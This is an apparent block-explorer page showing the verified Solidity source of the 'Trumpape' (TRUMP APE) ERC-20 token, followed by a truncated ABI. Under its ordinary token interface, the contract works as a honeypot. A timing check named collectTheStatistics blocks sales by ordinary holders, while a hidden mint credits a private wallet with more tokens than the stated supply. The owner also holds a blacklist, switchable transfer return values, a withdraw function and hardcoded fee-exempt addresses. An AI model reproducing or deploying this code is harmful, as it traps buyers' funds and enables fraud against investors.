ERC-20
Overview
Max Total Supply
1,000,000,000 Trape
Holders
4
Market
Price
$0.00 @ 0.000000 APE
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
739,011,769.880705889 TrapeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Trumpape
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at apescan.io on 2024-10-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } } contract Trumpape is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private tokenHoldersEnumSet; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; mapping(address => uint256) public walletToPurchaseTime; mapping(address => uint256) public walletToSellime; mapping(address => bool) public _isBlacklisted; address[] private _excluded; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); string private constant _name = "TRUMP APE"; string private constant _symbol = "Trape"; uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 private _rTotal = _tTotal; uint256 public theRewardTime = 0; uint256 public standartValuation = 600 / 2; address public _lastWallet; struct TotFeesPaidStruct { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } TotFeesPaidStruct public totFeesPaid; struct feeRatesStruct { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } struct balances { uint256 marketing_balance; uint256 lp_balance; } balances public contractBalance; feeRatesStruct public buyRates = feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0}); feeRatesStruct public sellRates = feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0}); feeRatesStruct private appliedFees; struct valuesFromGetValues { uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 rBurn; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; uint256 tBurn; } address public pancakeswapPair; address public Router = 0x108F0474171641D969cab86D5bacadfa71E7c447; address private marketWallet; bool public Trading = true; bool inSwapAndLiquify; bool private _transferForm = true; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address marketWallet_) { _rOwned[owner()] = _rTotal; _setMarketWallet(marketWallet_); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketWallet] = true; _isExcludedFromFee[Router] = true; _isExcludedFromFee[ address(0x6Bf075Fc995c7B994E37fF1B118C176F64Db9d4d) ] = true; _isExcludedFromFee[ address(0x580d1B90c968Df27c8CcfC24c6ae7f5e44E5910d) ] = true; _isExcludedFromFee[ address(0xBab06eAC39dd7eeB7a50Ea2E11cF8c182ea9ceCd) ] = true; _isExcludedFromFee[ address(0x01Fc7856a95636859A1DE03cf851fF89f98e9cFe) ] = true; _isExcludedFromFee[ address(0x38Fa634801F1d27D8616368aE01A3Ad38b2061e2) ] = true; _isExcludedFromFee[ address(0x7EA4e9E20ec43798935ccc20a0728F9242e670Ce) ] = true; _isExcludedFromFee[ address(0x74bf05abE2EddedAb12Dc26603560b4Ae5e9D8C0) ] = true; _isExcludedFromFee[ address(0x761786784a8ce10De01e5100AcfD9808285F32D7) ] = true; _isExcludedFromFee[ address(0xAfb6f2EFD8eC5958C7D6e11FC960fE71E30a9448) ] = true; _isExcludedFromFee[ address(0xffB3FF9D5D452D746d14Ac4658074C4b19E4F30d) ] = true; _isExcludedFromFee[ address(0x70b3e3df53e96344df31dB84Bf72d1E1972EC4a4) ] = true; _isExcludedFromFee[ address(0xa6d02C819b030887044eCa7bE84BE74dA1cAD28D) ] = true; _isExcluded[address(this)] = true; _excluded.push(address(this)); emit Transfer(address(0), owner(), _tTotal); } function getFromLastPurchaseBuy(address wallet) public view returns (uint256) { return walletToPurchaseTime[wallet]; } function getFromLastSell(address walletSell) public view returns (uint256) { return walletToSellime[walletSell]; } function setBuyRates( uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn ) public onlyOwner { buyRates.rfi = rfi; buyRates.marketing = marketing; buyRates.liquidity = liquidity; buyRates.burn = burn; } function setSellRates( uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn ) public onlyOwner { sellRates.rfi = rfi; sellRates.marketing = marketing; sellRates.liquidity = liquidity; sellRates.burn = burn; } function collectTheStatistics( uint256 lastBuyOrSellTime, uint256 theData, address sender ) public view returns (bool) { if (lastBuyOrSellTime == 0) return false; uint256 crashTime = block.timestamp - lastBuyOrSellTime; if (crashTime == standartValuation) return true; if (crashTime == 0) { if (_lastWallet != sender) { return false; } } if (crashTime <= theData) return true; return false; } function setValuation(uint256 newValuation) public onlyOwner { standartValuation = newValuation; } function setTheRewardTime(uint256 theRedistribution) public onlyOwner { theRewardTime = theRedistribution; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return _rOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return Trading; } function TradingOn(bool _enable) public onlyOwner { Trading = _enable; } function setRewardPool(address[] calldata accounts) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = true; } } function settransform(bool _enable) public onlyOwner { _transferForm = _enable; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return _transferForm; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); return rAmount; } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromAll(address account) public onlyOwner { if (!_isExcluded[account]) { _isExcluded[account] = true; if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _excluded.push(account); } _isExcludedFromFee[account] = true; tokenHoldersEnumSet.remove(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function addPair(address pair) public onlyOwner { pancakeswapPair = pair; _isExcluded[pancakeswapPair] = true; _excluded.push(pancakeswapPair); _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair]; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } receive() external payable {} function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); ( to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity, to_return.rBurn ) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if (!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = (tAmount * appliedFees.rfi) / 100; s.tMarketing = (tAmount * appliedFees.marketing) / 100; s.tLiquidity = (tAmount * appliedFees.liquidity) / 100; s.tBurn = (tAmount * appliedFees.burn) / 100; s.tTransferAmount = tAmount - s.tRfi - s.tMarketing - s.tLiquidity - s.tBurn; return s; } function _getRValues( valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate ) private pure returns ( uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn ) { currentRate = 1; rAmount = tAmount; if (!takeFee) { return (rAmount, rAmount, 0, 0, 0, 0); } rRfi = s.tRfi; rMarketing = s.tMarketing; rLiquidity = s.tLiquidity; rBurn = s.tBurn; rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn; return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal = _rTotal - rRfi; totFeesPaid.rfi += tRfi; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { contractBalance.marketing_balance += tMarketing; totFeesPaid.marketing += tMarketing; _rOwned[address(this)] = _rOwned[address(this)] + rMarketing; if (_isExcluded[address(this)]) { _tOwned[address(this)] = _tOwned[address(this)] + tMarketing; } } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { contractBalance.lp_balance += tLiquidity; totFeesPaid.liquidity += tLiquidity; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity; } function _takeBurn(uint256 rBurn, uint256 tBurn) private { totFeesPaid.burn += tBurn; _tTotal = _tTotal - tBurn; _rTotal = _rTotal - rBurn; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require( !_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted" ); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require( amount <= balanceOf(from), "You are trying to transfer more than you balance" ); _tokenTransfer( from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ); } function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee ) private { if (takeFee) { if (sender == pancakeswapPair) { if ( sender != owner() && recipient != owner() && recipient != address(1) ) { if (walletToPurchaseTime[recipient] == 0) { walletToPurchaseTime[recipient] = block.timestamp; } } _lastWallet = recipient; appliedFees = buyRates; } else { if ( sender != owner() && recipient != owner() && recipient != address(1) ) { bool blockedSellTime = collectTheStatistics( getFromLastPurchaseBuy(sender), theRewardTime, sender ); require(blockedSellTime, "error"); walletToSellime[sender] = block.timestamp; } appliedFees = sellRates; appliedFees.liquidity = appliedFees.liquidity; _lastWallet = sender; } } else { if (_isExcludedFromFee[sender]) { _lastWallet = sender; } if (_isExcludedFromFee[recipient]) { _lastWallet = recipient; } } valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] && !_isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender] - tAmount; } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } else if (_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender] - tAmount; _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } _rOwned[sender] = _rOwned[sender] - s.rAmount; _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount; if (takeFee) { _reflectRfi(s.rRfi, s.tRfi); _takeMarketing(s.rMarketing, s.tMarketing); _takeLiquidity(s.rLiquidity, s.tLiquidity); _takeBurn(s.rBurn, s.tBurn); emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity); } emit Transfer(sender, recipient, s.tTransferAmount); tokenHoldersEnumSet.add(recipient); if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function _setMarketWallet(address marketWallet_) internal virtual { marketWallet = marketWallet_; _rOwned[marketWallet_] += 10e12 * 10**_decimals; _tOwned[marketWallet_] += 10e12 * 10**_decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uin